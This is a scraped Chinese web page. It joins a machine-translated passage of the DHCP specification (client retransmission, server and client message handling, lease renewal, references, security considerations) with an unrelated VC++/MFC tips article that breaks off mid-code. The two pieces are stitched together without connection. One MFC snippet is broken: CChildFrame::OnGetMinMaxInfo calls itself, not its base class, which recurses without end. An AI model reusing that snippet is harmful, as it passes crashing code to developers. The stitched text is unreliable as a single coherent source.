客户端负责所有的消息重传。客户端必须采用包含随机指数退避算法的重传策略来确定重传之间的延迟。应该选择重传之间的延迟,以便根据客户端和服务器之间的网络特性,为来自服务器的回复提供足够的时间。例如,在一个 10Mb/sec 的以太网互联网络中,第一次重传之前的延迟应该是 4 秒,由从 -1 到 +1 范围内选择的统一随机数的值随机化。具有提供小于一秒分辨率粒度的时钟的客户端可以选择非整数随机化值。下一次重传之前的延迟应该是 8 秒,由从 -1 到 +1 范围内选择的统一数字的值随机化。重传延迟应该加倍,随后的重传最多可达 64 秒。客户端可以向用户提供重传尝试的指示,作为配置过程进度的指示。客户端使用“xid”字段将传入的 DHCP 消息与未决请求进行匹配。DHCP 客户端必须以这样一种方式选择 “xid”,以尽量减少使用与另一个客户端使用的 “xid” 相同的 “xid” 的机会。例如,每次重新启动客户端时,客户端可能会选择不同的随机初始“xid”,然后在下次重新启动之前使用连续的“xid”。为每次重传选择一个新的“xid”是一个实现决策。客户端可以选择重用相同的“xid”或为每个重传的消息选择一个新的“xid”。通常,DHCP 服务器和 BOOTP 中继代理尝试使用单播传递将 DHCPOFFER、DHCPACK 和 DHCPNAK 消息直接传递给客户端。IP 目标地址(在 IP 标头中)设置为 DHCP “yiaddr” 地址,链路层目标地址设置为 DHCP “chaddr” 地址。不幸的是,一些客户端实现无法接收这样的单播 IP 数据报,直到实现配置了有效的 IP 地址(导致死锁,在客户端配置了 IP 地址之前无法传递客户端的 IP 地址)。在客户端发送的任何 DHCPDISCOVER 或 DHCPREQUEST 消息中,在其协议软件配置了 IP 地址之前无法接收单播 IP 数据报的客户端应该将“flags”字段中的 BROADCAST 位设置为 1。BROADCAST 位将向 DHCP 服务器和 BOOTP 中继代理提供一个提示,以向客户端子网上的客户端广播任何消息。可以在其协议软件配置之前接收单播 IP 数据报的客户端应该将 BROADCAST 位清除为 0。BOOTP 澄清文档讨论了使用 BROADCAST 位 [21] 的后果。服务器或中继代理直接向 DHCP 客户端发送或中继 DHCP 消息(即,不发送或中继到 “giaddr” 字段中指定的中继代理)应该检查 “flags” 字段中的 BROADCAST 位。如果该位设置为 1,则 DHCP 消息应该作为 IP 广播发送,使用 IP 广播地址(最好是 0xffffffff)作为 IP 目的地址和链路层广播地址作为链路层目的地址。如果 BROADCAST 位被清除为 0,则消息应该作为 IP 单播发送到“yiaddr”字段中指定的 IP 地址和“chaddr”字段中指定的链路层地址。如果单播是不可能的,消息可以作为 IP 广播发送,使用 IP 广播地址(最好是 0xffffffff)作为 IP 目的地址和链路层广播地址作为链路层目的地址。4.2、 DHCP 服务器管理控制DHCP 服务器不需要响应它们收到的每个 DHCPDISCOVER 和 DHCPREQUEST 消息。例如,网络管理员为了保持对连接到网络的客户端的严格控制,可能会选择配置 DHCP 服务器以仅响应先前通过某种外部机制注册的客户端。DHCP 规范只描述了客户端和服务器选择交互时客户端和服务器之间的交互;描述系统管理员可能想要使用的所有管理控制超出了 DHCP 规范的范围。特定的 DHCP 服务器实现可能包含网络管理员所需的任何控制或策略。在某些环境中,DHCP 服务器在确定特定客户端的正确参数时必须考虑 DHCPDISCOVER 或 DHCPREQUEST 消息中包含的厂商类选项的值。DHCP 服务器需要使用某个唯一标识符来将客户端与其租用相关联。客户端可以选择通过“客户端标识符”选项显式提供标识符。如果客户端提供“客户端标识符”,则客户端必须在所有后续消息中使用相同的“客户端标识符”,并且服务器必须使用该标识符来标识客户端。如果客户端不提供“客户端标识符”选项,则服务器必须使用“chaddr”字段的内容来标识客户端。对于 DHCP 客户端来说,在“客户端标识符”选项中使用客户端所连接的子网内唯一的标识符是至关重要的。使用“chaddr”作为客户端的唯一标识符可能会导致意外结果,因为该标识符可能与可以移动到新客户端的硬件接口相关联。一些站点可能会选择使用制造商的序列号作为“客户端标识符”,以避免由于计算机之间的硬件接口传输而导致客户端网络地址发生意外变化。站点还可以选择使用 DNS 名称作为“客户端标识符”,从而使地址租用与 DNS 名称相关联,而不是与特定的硬件盒相关联。DHCP 客户端可以自由使用任何策略来选择客户端从其接收 DHCPOFFER 消息的 DHCP 服务器。DHCP 的客户端实现应该为用户提供一种直接选择“厂商类别标识符”值的机制。4.3、 DHCP 服务器行为DHCP 服务器根据客户端绑定的当前状态处理来自客户端的传入 DHCP 消息。DHCP 服务器可以从客户端接收以下消息:​DHCPDISCOVER DHCPREQUEST DHCPDECLINE DHCPRELEASE DHCPINFORM表 3 给出了服务器对 DHCP 消息中字段和选项的使用。本节的其余部分描述了 DHCP 服务器对每个可能的传入消息的操作。4.3.1、 DHCPDISCOVER 报文当服务器收到来自客户端的 DHCPDISCOVER 消息时,服务器会为请求客户端选择一个网络地址。如果没有地址可用,服务器可能会选择向系统管理员报告问题。如果地址可用,则应按如下方式选择新地址:** 客户当前地址记录在客户当前绑定中,ELSE** 记录在客户端(现在已过期或已释放)绑定中的客户端先前地址,如果该地址在服务器的可用地址池中且尚未分配,则为该地址,ELSE** 在“请求的 IP 地址”选项中请求的地址,如果该地址有效且尚未分配,则为该地址,ELSE** 从服务器可用地址池中分配的新地址;根据接收消息的子网(如果“giaddr”为 0)或转发消息的中继代理的地址(“giaddr”不为 0)选择地址。如第 4.2 节所述,出于管理原因,服务器可以分配一个不同于请求地址的地址,或者可能拒绝为特定客户端分配地址,即使有空闲地址可用。请注意,在某些网络架构中(例如,将多个 IP 子网分配给一个物理网段的互联网),可能会为 DHCP 客户端分配一个来自不同子网的地址,而不是 “giaddr 中记录的地址”。因此,DHCP 不要求将客户端分配为来自“giaddr”中子网的地址。服务器可以自由选择某个其他子网,并且描述可能选择分配的 IP 地址的方式超出了 DHCP 规范的范围。虽然 DHCP 的正确操作不需要,但在客户端响应服务器的 DHCPOFFER 消息之前,服务器不应该重用选定的网络地址。服务器可以选择记录提供给客户端的地址。服务器还必须为租约选择一个到期时间,如下所示:** 如果客户端没有在 DHCPDISCOVER 消息中请求特定的租约,并且客户端已经有分配的网络地址,则服务器返回先前分配给该地址的租约到期时间(注意,客户端必须明确请求特定的租约才能延长先前分配的地址的到期时间),ELSE** 如果客户端没有在 DHCPDISCOVER 消息中请求特定的租约,并且客户端没有分配网络地址,则服务器分配本地配置的默认租用时间,ELSE** 如果客户端在 DHCPDISCOVER 消息中请求了特定的租用(无论客户端是否有分配的网络地址),服务器可以选择返回请求的租用(如果本地策略可以接受该租用)或选择另一个租。表 3:DHCP 服务器使用的字段和选项一旦确定了网络地址和租用,服务器就会使用提供的配置参数构建 DHCPOFFER 消息。无论客户端选择哪个服务器,所有 DHCP 服务器都必须返回相同的参数(新分配的网络地址可能除外)以确保可预测的客户端行为。必须按以下顺序应用以下规则来选择配置参数。网络管理员负责配置多个 DHCP 服务器以确保来自这些服务器的统一响应。服务器必须返回给客户端:** 客户端的网络地址,由本节前面给出的规则确定,** 客户租约的到期时间,由本节前面给出的规则确定,** 客户端请求的参数,按照以下规则:-- 如果已将服务器显式配置为参数的默认值,则服务器必须在“选项”字段中包含该值,否则-- 如果服务器将该参数识别为主机需求文档中定义的参数,则服务器必须在“选项”字段的相应选项中包含主机需求文档中给出的该参数的默认值,否则-- 服务器不得为该参数返回值。服务器必须提供尽可能多的请求参数,并且必须省略它不能提供的任何参数。除非在 DHCP 选项和 BOOTP 厂商扩展文档中明确允许,否则服务器必须只包含每个请求的参数一次。** 现有绑定中与主机要求文档默认值不同的任何参数,** 特定于此客户端的任何参数(由 DHCPDISCOVER 或 DHCPREQUEST 消息中的“chaddr”或“客户端标识符”的内容标识),例如,由网络管理员配置,** 特定于此客户端类的任何参数(由 DHCPDISCOVER 或 DHCPREQUEST 消息中的“厂商类标识符”选项的内容标识),例如,由网络管理员配置;参数必须通过客户端的厂商类标识符和服务器中标识的客户端类之间的精确匹配来标识,** 客户端子网上具有非默认值的参数。服务器可以选择返回用于确定 DHCPOFFER 消息中的参数的“厂商类别标识符”,以帮助客户端选择接受哪个 DHCPOFFER。服务器将 DHCPDISCOVER 消息中的“xid”字段插入到 DHCPOFFER 消息的“xid”字段中,并将 DHCPOFFER 消息发送到请求客户端。4.3.2、 DHCPREQUEST 消息DHCPREQUEST 消息可能来自响应来自服务器的 DHCPOFFER 消息的客户端、来自验证先前分配的 IP 地址的客户端或来自延长网络地址租期的客户端。如果 DHCPREQUEST 消息包含“服务器标识符”选项,则该消息是对 DHCPOFFER 消息的响应。否则,该消息是验证或延长现有租约的请求。如果客户端在 DHCPREQUEST 消息中使用“客户端标识符”,则它必须在所有后续消息中使用相同的“客户端标识符”。如果客户端在 DHCPDISCOVER 消息中包含请求参数列表,则它必须在所有后续消息中包含该列表。DHCPACK 消息中的任何配置参数不应与客户端正在响应的较早 DHCPOFFER 消息中的配置参数冲突。客户端应该使用 DHCPACK 消息中的参数进行配置。客户端发送 DHCPREQUEST 消息如下:** 在 SELECTING 状态期间生成的 DHCPREQUEST:客户端在“服务器标识符”中插入所选服务器的地址,“ciaddr”必须为零,“请求的 IP 地址”必须填写来自所选 DHCPOFFER 的 yiaddr 值。请注意,客户端可能会选择收集多个 DHCPOFFER 消息并选择“最佳”选项。客户端通过在 DHCPREQUEST 消息中标识提供服务器来指示其选择。如果客户端没有收到可接受的选项,客户端可能会选择尝试另一个 DHCPDISCOVER 消息。因此,服务器可能不会收到特定的 DHCPREQUEST,它们可以从中决定客户端是否已接受选项。因为服务器没有根据 DHCPOFFER 提交任何网络地址分配,服务器可以自由地重用提供的网络地址以响应后续请求。作为一个实现细节,服务器不应该重用提供的地址,并且可以使用特定于实现的超时机制来决定何时重用提供的地址。** 在 INIT-REBOOT 状态期间生成的 DHCPREQUEST:“服务器标识符”不得填写,“请求的 IP 地址”选项必须填写客户端对其先前分配地址的概念。“ciaddr” 必须为零。客户端正在寻求验证先前分配的缓存配置。如果“请求的 IP 地址”不正确,或者在错误的网络上,服务器应该向客户端发送 DHCPNAK 消息。通过检查 “giaddr” 的内容、“requested IP address” 选项和数据库查找来确定处于 INIT-REBOOT 状态的客户端是否在正确的网络上。如果 DHCP 服务器检测到客户端在错误的网络上(即,将本地子网掩码或远程子网掩码(如果 “giaddr” 不为零)应用于 “requested IP address” 选项值的结果与现实不符),那么服务器应该向客户端发送一个 DHCPNAK 消息。如果网络正确,则 DHCP 服务器应检查客户端对其 IP 地址的概念是否正确。如果不是,那么服务器应该向客户端发送一个 DHCPNAK 消息。如果 DHCP 服务器没有这个客户端的记录,那么它必须保持沉默,并且可以向网络管理员输出警告。这种行为对于同一线路上非通信 DHCP 服务器的和平共存是必要的。如果 DHCPREQUEST 消息中的 “giaddr” 为 0x0,则客户端与服务器位于同一子网上。服务器必须向 0xffffffff 广播地址广播 DHCPNAK 消息,因为客户端可能没有正确的网络地址或子网掩码,并且客户端可能没有响应 ARP 请求。如果在 DHCPREQUEST 消息中设置了“giaddr”,则客户端位于不同的子网上。服务器必须在 DHCPNAK 中设置广播位,以便中继代理将 DHCPNAK 广播给客户端,因为客户端可能没有正确的网络地址或子网掩码,并且客户端可能不会响应 ARP 请求。** 在 RENEWING 状态期间生成的 DHCPREQUEST:“服务器标识符”不得填写,“请求的 IP 地址”选项不得填写,“ciaddr”必须填写客户端的 IP 地址。在这种情况下,客户端已完全配置,并且正在尝试延长其租期。此消息将是单播的,因此在其传输中不会涉及中继代理。因为“giaddr”因此没有填写,DHCP服务器会信任“ciaddr”中的值,并在回复客户端时使用它。客户可以选择在 T1 之前续订或延长租期。服务器可以选择不延长租期(作为网络管理员的策略决定),但无论如何都应该返回 DHCPACK 消息。** 重新绑定状态期间生成的 DHCPREQUEST:“服务器标识符”不得填写,“请求的 IP 地址”选项不得填写,“ciaddr”必须填写客户端的 IP 地址。在这种情况下,客户端已完全配置,并且正在尝试延长其租期。此消息必须广播到 0xffffffff IP 广播地址。DHCP 服务器应该在回复 DHCPREQUEST 之前检查 “ciaddr” 的正确性。来自 REBINDING 客户端的 DHCPREQUEST 旨在容纳具有多个 DHCP 服务器的站点以及用于在由多个服务器管理的租约之间保持一致性的机制。DHCP 服务器可以仅在它具有本地管理权限的情况下延长客户端的租期。4.3.3、 DHCPDECLINE 消息如果服务器收到 DHCPDECLINE 消息,则客户端已通过某种其他方式发现建议的网络地址已在使用中。服务器必须将网络地址标记为不可用,并且应该将可能的配置问题通知本地系统管理员。4.3.4、 DHCPRELEASE 消息收到 DHCPRELEASE 消息后,服务器将网络地址标记为未分配。服务器应该保留客户端初始化参数的记录,以便在响应来自客户端的后续请求时可能重用。4.3.5、 DHCPINFORM 消息服务器通过直接向 DHCPINFORM 消息的“ciaddr”字段中给出的地址发送 DHCPACK 消息来响应 DHCPINFORM 消息。服务器不得向客户端发送租约到期时间,也不应填写“yiaddr”。服务器在 DHCPACK 消息中包含其他参数,如第 4.3.1 节中所定义。4.3.6、 客户端消息表 4 详细说明了来自不同状态的客户端的消息之间的差异。表 4:来自不同状态的客户端消息4.4、 DHCP 客户端行为图 5 给出了 DHCP 客户端的状态转换图。客户端可以从服务器接收以下消息:​DHCPOFFER DHCPACK DHCPNAKDHCPINFORM 消息未在图 5 中显示。客户端只需发送 DHCPINFORM 并等待 DHCPACK 消息。一旦客户端选择了它的参数,它就完成了配置过程。表 5 给出了客户端对 DHCP 消息中字段和选项的使用。本节的其余部分描述了 DHCP 客户端对每个可能的传入消息的操作。以下部分的描述对应于之前3.1节中描述的完整配置过程,后续部分中的文本对应于3.2节中描述的缩略配置过程。图 5:DHCP 客户端的状态转换图4.4.1、 网络地址的初始化和分配客户端开始于 INIT 状态并形成 DHCPDISCOVER 消息。客户端应该等待 1 到 10 秒之间的随机时间,以在启动时不同步 DHCP 的使用。客户端将“ciaddr”设置为 0x00000000。客户端可以通过包含“参数请求列表”选项来请求特定参数。客户端可以通过包含“请求的 IP 地址”和“IP 地址租用时间”选项来建议网络地址和/或租用时间。客户端必须在 “chaddr” 字段中包含它的硬件地址,如果需要传递 DHCP 回复消息。客户端可以在“客户端标识符”选项中包含不同的唯一标识符,如第 4.2 节所述。如果客户端在 DHCPDISCOVER 消息中包含请求参数列表,则它必须在所有后续消息中包含该列表。客户端生成并记录一个随机事务标识符并将该标识符插入到“xid”字段中。客户端记录自己的本地时间,以供以后计算租约到期时使用。然后客户端将本地硬件广播地址上的 DHCPDISCOVER 广播到 0xffffffff IP 广播地址和“DHCP 服务器”UDP 端口。如果到达的 DHCPOFFER 消息的“xid”与最近的 DHCPDISCOVER 消息的“xid”不匹配,则必须静默丢弃 DHCPOFFER 消息。任何到达的 DHCPACK 消息都必须以静默方式丢弃。客户端在一段时间内收集 DHCPOFFER 消息,从(可能很多)传入的 DHCPOFFER 消息(例如,第一个 DHCPOFFER 消息或来自先前使用的服务器的 DHCPOFFER 消息)中选择一个 DHCPOFFER 消息,并从“服务器”中提取服务器地址DHCPOFFER 消息中的标识符选项。客户端收集消息的时间和用于选择一个 DHCPOFFER 的机制取决于实现。表 5:DHCP 客户端使用的字段和选项如果参数是可接受的,则客户端记录从“服务器标识符”字段提供参数的服务器的地址,并在 DHCPREQUEST 广播消息的“服务器标识符”字段中发送该地址。一旦来自服务器的 DHCPACK 消息到达,客户端就会被初始化并进入绑定状态。DHCPREQUEST 消息包含与 DHCPOFFER 消息相同的“xid”。客户端将租用到期时间记录为发送原始请求的时间与来自 DHCPACK 消息的租用持续时间的总和。客户端应该对建议的地址执行检查以确保该地址尚未被使用。例如,如果客户端位于支持 ARP 的网络上,则客户端可能会针对建议的请求发出 ARP 请求。客户端在广播建议地址的ARP请求时,必须填写自己的硬件地址作为发送方的硬件地址,0作为发送方的IP地址,以免混淆同一子网其他主机的ARP缓存。如果网络地址似乎正在使用,则客户端必须向服务器发送 DHCPDECLINE 消息。客户端应该广播一个 ARP 回复来宣布客户端的新 IP 地址并清除客户端子网上主机中任何过时的 ARP 缓存条目。4.4.2、 用已知网络地址初始化客户端开始处于 INIT-REBOOT 状态并发送 DHCPREQUEST 消息。客户端必须在 DHCPREQUEST 消息中插入其已知的网络地址作为“请求的 IP 地址”选项。客户端可以通过包含“参数请求列表”选项来请求特定的配置参数。客户端生成并记录一个随机事务标识符并将该标识符插入到“xid”字段中。客户端记录自己的本地时间,以供以后计算租约到期时使用。客户端不得在 DHCPREQUEST 消息中包含“服务器标识符”。然后客户端将本地硬件广播地址上的 DHCPREQUEST 广播到“DHCP 服务器”UDP 端口。一旦来自任何服务器的具有与客户端的 DHCPREQUEST 消息中的“xid”字段匹配的 DHCPACK 消息到达,客户端将被初始化并移动到绑定状态。客户端将租用到期时间记录为发送 DHCPREQUEST 消息的时间与来自 DHCPACK 消息的租用持续时间的总和。4.4.3、 使用外部分配的网络地址进行初始化客户端发送 DHCPINFORM 消息。客户端可以通过包含“参数请求列表”选项来请求特定的配置参数。客户端生成并记录一个随机事务标识符并将该标识符插入到“xid”字段中。客户端将自己的网络地址放在“ciaddr”字段中。客户端不应该请求租用时间参数。如果客户端知道服务器的地址,则客户端然后将 DHCPINFORM 单播到 DHCP 服务器,否则它将消息广播到有限的(全 1)广播地址。DHCPINFORM 消息必须被定向到“DHCP 服务器”UDP 端口。一旦来自任何服务器的具有与客户端的 DHCPINFORM 消息中的“xid”字段匹配的 DHCPACK 消息到达,客户端就会被初始化。如果客户端在合理的时间段内(60 秒或 4 次尝试,如果使用第 4.1 节中建议的超时)没有收到 DHCPACK,那么它应该显示一条消息通知用户这个问题,然后应该开始使用合适的网络处理附录 A 中的默认值。4.4.4、 广播和单播的使用DHCP 客户端广播 DHCPDISCOVER、DHCPREQUEST 和 DHCPINFORM 消息,除非客户端知道 DHCP 服务器的地址。客户端向服务器单播 DHCPRELEASE 消息。由于客户端拒绝使用服务器提供的 IP 地址,因此客户端会广播 DHCPDECLINE 消息。当 DHCP 客户端知道 DHCP 服务器的地址时,无论是在 INIT 还是 REBOOTING 状态,客户端都可以在 DHCPDISCOVER 或 DHCPREQUEST 中使用该地址,而不是 IP 广播地址。客户端也可以使用单播向已知的 DHCP 服务器发送 DHCPINFORM 消息。如果客户端没有收到对发送到已知 DHCP 服务器 IP 地址的 DHCP 消息的响应,则 DHCP 客户端将恢复使用 IP 广播地址。4.4.5、 收回和到期客户端维护两个时间,T1 和 T2,指定客户端尝试延长其网络地址租用的时间。T1 是客户端进入 RENEWING 状态并尝试联系最初发布客户端网络地址的服务器的时间。T2 是客户端进入 REBINDING 状态并尝试联系任何服务器的时间。T1 必须早于 T2,反过来,T2 必须早于客户端的租约到期时间。为避免需要同步时钟,T1 和 T2 在选项中表示为相对时间 [2]。在时间 T1,客户端移动到 RENEWING 状态并向服务器发送(通过单播)DHCPREQUEST 消息以延长其租期。客户端将 DHCPREQUEST 中的“ciaddr”字段设置为其当前网络地址。客户端记录发送 DHCPREQUEST 消息的本地时间,用于计算租用到期时间。客户端不得在 DHCPREQUEST 消息中包含“服务器标识符”。任何带有与客户端 DHCPREQUEST 消息的“xid”不匹配的“xid”到达的 DHCPACK 消息都将被静默丢弃。当客户端收到来自服务器的 DHCPACK 时,客户端计算租约到期时间为客户端发送 DHCPREQUEST 消息的时间和 DHCPACK 消息中租用的持续时间之和。客户端已成功重新获取其网络地址,返回到 BOUND 状态并可以继续网络处理。如果在时间 T2 之前没有 DHCPACK 到达,则客户端移动到 REBINDING 状态并(通过广播)发送 DHCPREQUEST 消息以延长其租期。客户端将 DHCPREQUEST 中的“ciaddr”字段设置为其当前网络地址。客户端不得在 DHCPREQUEST 消息中包含“服务器标识符”。时间 T1 和 T2 可由服务器通过选项配置。T1 默认为 (0.5 * duration_of_lease)。T2 默认为 (0.875 * duration_of_lease)。时间 T1 和 T2 应该在固定值周围随机“模糊”选择,以避免客户端重新获取同步。客户可以选择在 T1 之前续订或延长租期。服务器可以根据网络管理员设置的策略选择延长客户端的租期。服务器应该返回 T1 和 T2,并且它们的值应该从它们的原始值调整以考虑租用剩余的时间。在 RENEWING 和 REBINDING 状态下,如果客户端没有收到对其 DHCPREQUEST 消息的响应,则客户端应该等待剩余时间的一半直到 T2(在 RENEWING 状态)和剩余租用时间的一半(在 REBINDING 状态) ,在重新传输 DHCPREQUEST 消息之前,最少需要 60 秒。如果租约在客户端收到 DHCPACK 之前到期,则客户端移动到 INIT 状态,必须立即停止任何其他网络处理并请求网络初始化参数,就像客户端未初始化一样。如果客户端随后收到一个 DHCPACK 分配该客户端其先前的网络地址,则客户端应该继续网络处理。如果给客户端一个新的网络地址,它不得继续使用以前的网络地址,并且应该将问题通知本地用户。4.4.6、 DHCPRELEASE如果客户端不再需要使用其分配的网络地址(例如,客户端正常关闭),则客户端向服务器发送 DHCPRELEASE 消息。请注意,DHCP 的正确操作不依赖于 DHCPRELEASE 消息的传输。5、 致谢作者感谢 DHC WG 的许多(不胜枚举!)成员在 DHCP 和本文档的开发中所做的不懈努力。非常感谢 J Allard、Mike Carney、Dave Lapp、Fred Lien 和 John Mendonca 在组织 DHCP 互操作性测试会议方面所做的努力。本文档的开发部分得到了国家研究计划公司 (CNRI)、巴克内尔大学和 Sun Microsystems 的资助。6、 参考文献​[1] Acetta, M., "Resource Location Protocol", RFC 887, CMU, December 1983. [2] Alexander, S., and R. Droms, "DHCP Options and BOOTP Vendor Extensions", RFC 1533, Lachman Technology, Inc., Bucknell University, October 1993. [3] Braden, R., Editor, "Requirements for Internet Hosts -- Communication Layers", STD 3, RFC 1122, USC/Information Sciences Institute, October 1989. [4] Braden, R., Editor, "Requirements for Internet Hosts -- Application and Support, STD 3, RFC 1123, USC/Information Sciences Institute, October 1989. [5] Brownell, D, "Dynamic Reverse Address Resolution Protocol (DRARP)", Work in Progress. [6] Comer, D., and R. Droms, "Uniform Access to Internet Directory Services", Proc. of ACM SIGCOMM “90 (Special issue of Computer Communications Review), 20(4):50--59, 1990. [7] Croft, B., and J. Gilmore, "Bootstrap Protocol (BOOTP)", RFC 951, Stanford and SUN Microsystems, September 1985. [8] Deering, S., "ICMP Router Discovery Messages", RFC 1256, Xerox PARC, September 1991. [9] Droms, D., "Interoperation between DHCP and BOOTP", RFC 1534, Bucknell University, October 1993. [10] Finlayson, R., Mann, T., Mogul, J., and M. Theimer, "A Reverse Address Resolution Protocol", RFC 903, Stanford, June 1984. [11] Gray C., and D. Cheriton, "Leases: An Efficient Fault-Tolerant Mechanism for Distributed File Cache Consistency", In Proc. of the Twelfth ACM Symposium on Operating Systems Design, 1989. [12] Mockapetris, P., "Domain Names -- Concepts and Facilities", STD 13, RFC 1034, USC/Information Sciences Institute, November 1987. [13] Mockapetris, P., "Domain Names -- Implementation and Specification", STD 13, RFC 1035, USC/Information Sciences Institute, November 1987. [14] Mogul J., and S. Deering, "Path MTU Discovery", RFC 1191, November 1990. [15] Morgan, R., "Dynamic IP Address Assignment for Ethernet Attached Hosts", Work in Progress. [16] Postel, J., "Internet Control Message Protocol", STD 5, RFC 792, USC/Information Sciences Institute, September 1981. [17] Reynolds, J., "BOOTP Vendor Information Extensions", RFC 1497, USC/Information Sciences Institute, August 1993. [18] Reynolds, J., and J. Postel, "Assigned Numbers", STD 2, RFC 1700, USC/Information Sciences Institute, October 1994. [19] Jeffrey Schiller and Mark Rosenstein. A Protocol for the Dynamic Assignment of IP Addresses for use on an Ethernet. (Available from the Athena Project, MIT), 1989. [20] Sollins, K., "The TFTP Protocol (Revision 2)", RFC 783, NIC, June 1981. [21] Wimer, W., "Clarifications and Extensions for the Bootstrap Protocol", RFC 1542, Carnegie Mellon University, October 1993.7、 安全考虑DHCP 直接建立在 UDP 和 IP 上,而这些 UDP 和 IP 本质上是不安全的。此外,DHCP 通常旨在使远程和/或无盘主机的维护更容易。虽然并非不可能,但使用密码或密钥配置此类主机可能很困难且不方便。因此,当前形式的 DHCP 非常不安全。可以轻松设置未经授权的 DHCP 服务器。然后,这些服务器可以向客户端发送虚假的和潜在的破坏性信息,例如不正确或重复的 IP 地址、不正确的路由信息(包括欺骗路由器等)、不正确的域名服务器地址(例如欺骗名称服务器)等等。显然,一旦这些种子信息到位,攻击者就可以进一步破坏受影响的系统。恶意 DHCP 客户端可以伪装成合法客户端并检索用于这些合法客户端的信息。在使用资源动态分配的情况下,恶意客户端可以为自己声明所有资源,从而拒绝向合法客户端提供资源。附录A、 主机配置参数Key:MTU = Path MTU Discovery (RFC 1191, Proposed Standard) RD = Router Discovery (RFC 1256, Proposed Standard)​
文章
存储  ·  缓存  ·  编解码  ·  网络协议  ·  算法  ·  前端开发  ·  安全  ·  数据库  ·  数据安全/隐私保护  ·  网络架构
2023-03-03
VC++ 知识小结(续)
1)当文档被修改时,如何在标题上加上标志'*'?重载CDocument类的虚函数virtual SetModifiedFlag:void CTest2Doc::SetModifiedFlag(BOOL bModified) { CString strTitle = GetTitle(); CString strDirtyFlag = " *"; // note space before the '*' // so we don't break Save As dialog if (!IsModified() && bModified) { SetTitle(strTitle + strDirtyFlag); } else if ( IsModified() && !bModified ) { int nTitleLength = strTitle.GetLength(); int nDirtyLength = strDirtyFlag.GetLength(); SetTitle( strTitle.Left(nTitleLength - nDirtyLength) ); } UpdateFrameCounts(); CDocument::SetModifiedFlag(bModified); }(2)VC6.0对VC5.0的兼容性?很不幸,vc6.0在调试模式对vc5.0不兼容,但发行模式没有问题.原因在微软改变了调试模式所用dll的格式,而保留了原文件名. 因此,不要在vc6.0中打开vc5.0的调试版本工程.(3)打印和打印机的问题?我碰到这么一个问题:在打印方法中使用了MM_LOMETRIC模式,在LOGFONT结构中改变了字体的大小,但不知道173(或者对于屏幕而言是25)是从哪来的,它是自动的.然而当我用另外一个打印机时173并不适合.我想知道的是:我如何对所有的打印来调整这个数字.我以前也碰到过类似的问题,我让用户改变字体(大小,颜色等等).这些改变在屏幕上看起来挺好,但是打印时太小(我的同事在程序包中加入一个放大类).原因非常简单:打印机的分辨率可能是300dpi,而屏幕的分辨率则低得多.我是这么解决的:在获得屏幕字体信息后,我获取屏幕字体的毫米级大小(使用LPtoDP,然后将模式变为MM_LOMETRIC,调用DPtoLP),接着对打印机设定了相同的模式,再调用LPtoDP.切换回原来的模式之后,我调用了DPtoLP,这样就得到了想要的字体高度和宽度. 在LOGFONT中使用这个值,并且带有其它诸如下划线,斜体等字体信息,我实现了用户的要求.(4)CRichEditCtrl滚动条的问题?我使用了CRichEditCtrl控制来显示某个文件中的数据(将该控制设置为只读).我已经设置了ES_MULTILINE | ES_AUTOVSCROLL,但当数据内容比控制显示多的时候,滚动条并不出现,是不是因为设置了只读属性而引起了其它的问题?ES_AUTOVSCROLL | ES_AUTOHSCROLL属性只在控制是可编辑时有效.你可心使用下面的滚动条风格来使滚动条出现:WS_VSCROLL | WS_HSCROLL,但是这样一来,不管你的数据量有多大,滚动条总是会出现.(5)从数据库中读大于32k的内容?我在从数据库中读数据时碰到了问题.当数据栏包含超过32k的内容时,我就读不出来,我试过ODBC::SQLGetData()也不行.哪种类型的数据库?MS SQL,SYBASE... 试试设置一下大小:BOOL CGetBlobStmt::Execute(LPCTSTR stmt) { m_cbSize = 0; m_size = 0; LPBYTE lpData; lpData = (LPBYTE)GlobalLock(m_hData); m_retcode = SQLSetStmtOption(GetHandle(),SQL_MAX_LENGTH,m_dwBytesLeft); m_retcode = SQLExecDirect(GetHandle(),(UCHAR*)stmt,SQL_NTS); if (m_retcode == SQL_SUCCESS) { m_retcode = SQLFetch(GetHandle()); if (m_retcode == SQL_SUCCESS ||m_retcode == SQL_SUCCESS_WITH_INFO) { m_retcode = SQLGetData(GetHandle(),1,SQL_C_BINARY,lpData,254,&m_cbSize); while(m_retcode == SQL_SUCCESS_WITH_INFO) { lpData+= 254; m_retcode = SQLGetData(GetHandle(),1,SQL_C_BINARY,lpData,254,&m_cbSize); } GetError(); } } GlobalUnlock(m_hData); #if TESTDATA TRACE("%ld",m_size); #endif SaveFile(); return RETVALUE; }(6)如何获得CRichEditCtrl中字符的位置?我想在CRichEditCtrl中使用右键菜单,因此想判定光标处字符的位置,请指点.查看如下的帮助:IRichEditOleCallback::GetContextMenu EM_SETOLECALLBACK(7)如何限制mdi子框架最大化时的大小?用ptMaxTrackSize代替prMaxSize,如下所示:void CChildFrame::OnGetMinMaxInfo(MINMAXINFO FAR* lpMMI) { // TOD Add your message handler code here and/or call default CChildFrame::OnGetMinMaxInfo(lpMMI); lpMMI->ptMaxTrackSize.x = 300; lpMMI->ptMaxTrackSize.y = 400; }(8)如何切换视口而不破坏它们?我创建了一个带有静态分隔区的sdi应用程序,左边显示工作区,右过显示左边选取的东西.我想达到的是如果在分隔区之间进行切换,而不覆盖或破坏原来的CView对象.以下代码是你所想要的:class CExSplitterWnd : public CSplitterWnd { // Construction public: CExSplitterWnd(); // Overrides // ClassWizard generated virtual function overrides //{{AFX_VIRTUAL(CExSplitterWnd) //}}AFX_VIRTUAL // Implementation virtual ~CExSplitterWnd(); BOOL AttachView(CWnd* pView, int row, int col); BOOL DetachView(int row, int col); // Generated message map functions //{{AFX_MSG(CExSplitterWnd) // NOTE - the ClassWizard will add and remove member functions here. //}}AFX_MSG DECLARE_MESSAGE_MAP() }; CExSplitterWnd::CExSplitterWnd() { } CExSplitterWnd::~CExSplitterWnd() { } BOOL CExSplitterWnd::AttachView(CWnd* pView, int row, int col) { //Make sure the splitter window was created if (!IsWindow(m_hWnd)) { ASSERT(0); TRACE(_T("Create the splitter window before attaching windows to panes")); return (FALSE); } //Make sure the row and col indices are within bounds if (row >= GetRowCount() || col >= GetColumnCount()) { ASSERT(0); return FALSE; } //Is the window to be attached a valid one if (pView == NULL || (!IsWindow(pView->m_hWnd))) { ASSERT(0); return FALSE; } pView->SetDlgCtrlID(IdFromRowCol(row, col)); pView->SetParent(this); pView->ShowWindow(SW_SHOW); pView->UpdateWindow(); return (TRUE); } BOOL CExSplitterWnd::DetachView(int row, int col) { //Make sure the splitter window was created if (!IsWindow(m_hWnd)) { ASSERT(0); TRACE(_T("Create the splitter window before attaching windows to panes")); 